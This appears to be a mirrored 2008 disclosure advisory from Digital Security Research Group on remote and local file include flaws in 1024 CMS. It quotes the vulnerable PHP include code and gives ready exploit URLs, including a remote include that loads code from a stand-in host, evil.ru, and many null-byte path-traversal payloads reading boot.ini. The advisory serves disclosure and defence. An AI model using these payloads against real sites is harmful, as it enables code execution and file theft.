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DSECRG-08-027.txt

🗓️ 10 Jul 2008 00:00:00Reported by Digital Security Research GroupType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

1024 CMS has Remote and Local File Include vulnerabilities in several scripts, allowing for multiple exploit opportunities.

Code
`  
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-027  
  
  
Application: 1024 CMS  
Versions Affected: 1.4.3, 1.4.4 RFC  
Vendor URL: http://www.1024cms.com/  
Bug: Multiple Remote/Local File Include  
Exploits: YES  
Reported: 18.06.2008  
Second report: 27.06.2008  
Vendor Response: NONE  
Solution: NONE  
Date of Public Advisory: 04.07.2008  
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
  
1024 CMS has Remote File Include vulnerability and multiple Local File Include vulnerabilities.   
  
  
1. Remote/Local File Include vulnerabilities found in scripts:   
  
themes/blog/layouts/standard.php  
themes/default/layouts/standard.php  
themes/portfolio/layouts/standard.php  
themes/snazzy/layouts/standard.php  
  
Code  
****  
#################################################  
  
<?php include("./themes/".$theme_dir."/layouts/basic_header.php"); ?>  
<div class="centerbigtable">  
<?php  
if(!isset($page_include)) {  
if($page_ck['custom'] == '0') include("./pages/".$page."/default/content.php");  
else include("./pages/custom/".$page."/default/content.php");  
} else include($page_include);  
?>  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/themes/blog/layouts/standard.php?page_include=http://evil.ru/evil.php  
http://[server]/[installdir]/themes/default/layouts/standard.php?theme_dir=../../../../../../../../../../../../../boot.ini%00  
http://[server]/[installdir]/themes/snazzy/layouts/standard.php?page=../../../../../../../../../../../../../boot.ini%00  
  
  
  
  
  
Multiple Local File Include vulnerabilities:  
  
  
  
  
2. Local File Include vulnerability found in script admin/lang/fr/reports/default.php  
  
Code  
****  
#################################################  
  
if(isset($_GET['t'])) {  
switch($_GET['t']) {  
case "forum":  
include("../admin/lang/".$lang."/reports/ops/forum.php");  
break;  
  
case "download":  
include("../admin/lang/".$lang."/reports/ops/download.php");  
break;  
  
case "news":  
include("../admin/lang/".$lang."/reports/ops/news.php");  
break;  
}  
} else die("You cannot access this page directly");  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/admin/lang/fr/reports/default.php?t=news&lang=../../../../../../../../../../../../../boot.ini%00  
  
  
3. Local File Include vulnerabilities found in scripts:  
  
admin/ops/admins/default.php  
admin/ops/reports/ops/download.php  
admin/ops/reports/ops/forum.php  
admin/ops/reports/ops/news.php  
  
Code  
****  
#################################################  
  
<?php  
include("./themes/".$admin_theme_dir."/templates/default_header.tpl");  
...  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/admin/ops/admins/default.php?admin_theme_dir=../../../../../../../../../../../../../boot.ini%00  
http://[server]/[installdir]/admin/ops/reports/ops/news.php?admin_theme_dir=../../../../../../../../../../../../../boot.ini%00  
  
  
4. Local File Include vulnerabilities found in scripts:  
  
lang/en/moderator/default.php  
lang/fr/moderator/default.php  
  
Code  
****  
#################################################  
  
if(isset($_GET['t'])) {  
switch($_GET['t']) {  
case "forum":  
include("./lang/".$lang."/moderator/ops/forum.php");  
break;  
  
case "download":  
include("./lang/".$lang."/moderator/ops/download.php");  
break;  
  
case "gallery":  
include("./lang/".$lang."/moderator/ops/gallery.php");  
break;  
  
case "news":  
include("./lang/".$lang."/moderator/ops/news.php");  
break;  
}  
}  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/lang/en/moderator/default.php?t=news&lang=../../../../../../../../../../../../../boot.ini%00  
http://[server]/[installdir]/lang/fr/moderator/default.php?t=download&lang=../../../../../../../../../../../../../boot.ini%00  
  
  
5. Local File Include vulnerability found in script lang/de/moderator/default.php  
  
Code  
****  
#################################################  
  
if(isset($_GET['t'])) {  
switch($_GET['t']) {  
case "forum":  
include("./lang/".$lang."/moderator/ops/forum.php");  
break;  
  
case "download":  
include("./lang/".$lang."/moderator/ops/download.php");  
break;  
  
case "news":  
include("./lang/".$lang."/moderator/ops/news.php");  
break;  
}  
}  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/lang/de/moderator/default.php?t=forum&lang=../../../../../../../../../../../../../boot.ini%00  
  
  
6. Local File Include vulnerabilities found in scripts:  
  
pages/download/default/ops/add.php  
pages/download/default/ops/edit.php  
  
Code  
****  
#################################################  
  
if(isset($_SESSION['type']) && ($_SESSION['type'] == '1' || ($_SESSION['type'] == '2' && trim($canpostdown) == "true") || $_SESSION['type'] == '4')) {  
...  
} else {  
if($canpostdown !== 'true') define("_CONTENT_", _POST_DISABLED_);  
else define("_CONTENT_", _POST_LOGIN_);  
include("./themes/".$theme_dir."/templates/no_content.tpl");  
}  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/pages/download/default/ops/add.php?theme_dir=../../../../../../../../../../../../../boot.ini%00  
  
  
7. Local File Include vulnerabilities found in scripts:  
  
pages/download/default/ops/newest.php  
pages/download/default/ops/search.php  
pages/download/default/ops/top.php  
pages/forum/default/content.php  
  
Code  
****  
#################################################  
  
<?php  
include("./themes/".$theme_dir."/templates/default_header.tpl");  
...  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/pages/download/default/ops/newest.php?theme_dir=../../../../../../../../../../../../../boot.ini%00  
http://[server]/[installdir]/pages/forum/default/content.php?theme_dir=../../../../../../../../../../../../../boot.ini%00  
  
  
8. Local File Include vulnerabilities found in scripts:  
  
themes/blog/layouts/basic_footer.php  
themes/default/layouts/basic_footer.php  
themes/portfolio/layouts/basic_footer.php  
themes/snazzy/layouts/basic_footer.php  
  
Code  
****  
#################################################  
  
...  
<?php include("./themes/".$theme_dir."/templates/footer.tpl"); ?>  
...  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/themes/blog/layouts/basic_footer.php?theme_dir=../../../../../../../../../../../../../boot.ini%00  
  
  
9. Local File Include vulnerabilities found in scripts:  
  
themes/blog/layouts/basic_header.php  
themes/default/layouts/basic_header.php  
themes/portfolio/layouts/basic_header.php  
themes/snazzy/layouts/basic_header.php  
  
Code  
****  
#################################################  
  
...  
<?php include("./themes/".$theme_dir."/templates/header.tpl"); ?></td>  
...  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/themes/default/layouts/basic_header.php?theme_dir=../../../../../../../../../../../../../boot.ini%00  
  
  
10. Local File Include vulnerabilities found in scripts:  
  
themes/blog/layouts/print.php   
themes/default/layouts/print.php  
themes/portfolio/layouts/print.php  
themes/snazzy/layouts/print.php  
  
Code  
****  
#################################################  
  
if(!isset($page_include)) {  
if($page_ck['custom'] == '0') include("./pages/".$page."/default/content.php");  
else include("./pages/custom/".$page."/default/content.php");  
} else include("./themes/".$theme_dir."/templates/".$page_include);  
include("./themes/".$theme_dir."/templates/footer.tpl");  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/themes/blog/layouts/print.php?page=../../../../../../../../../../../../../boot.ini%00  
http://[server]/[installdir]/themes/default/layouts/print.php?page_include=../../../../../../../../../../../../../boot.ini%00  
http://[server]/[installdir]/themes/portfolio/layouts/print.php?theme_dir=../../../../../../../../../../../../../boot.ini%00  
  
  
  
11. Local File Include vulnerabilities found in scripts:   
  
themes/blog/layouts/total.php  
themes/default/layouts/total.php  
themes/portfolio/layouts/total.php  
themes/snazzy/layouts/total.php  
  
Code  
****  
#################################################  
  
<td><?php include("./themes/".$theme_dir."/templates/header.tpl"); ?></td>  
</tr>  
<tr>  
<td>  
<?php  
if($page_ck['custom'] == '0') include("./pages/".$page."/default/content.php");  
else include("./pages/custom/".$page."/default/content.php");  
?>  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/themes/default/layouts/total.php?theme_dir=../../../../../../../../../../../../../boot.ini%00  
http://[server]/[installdir]/themes/snazzy/layouts/total.php?page=../../../../../../../../../../../../../boot.ini%00  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
  
`

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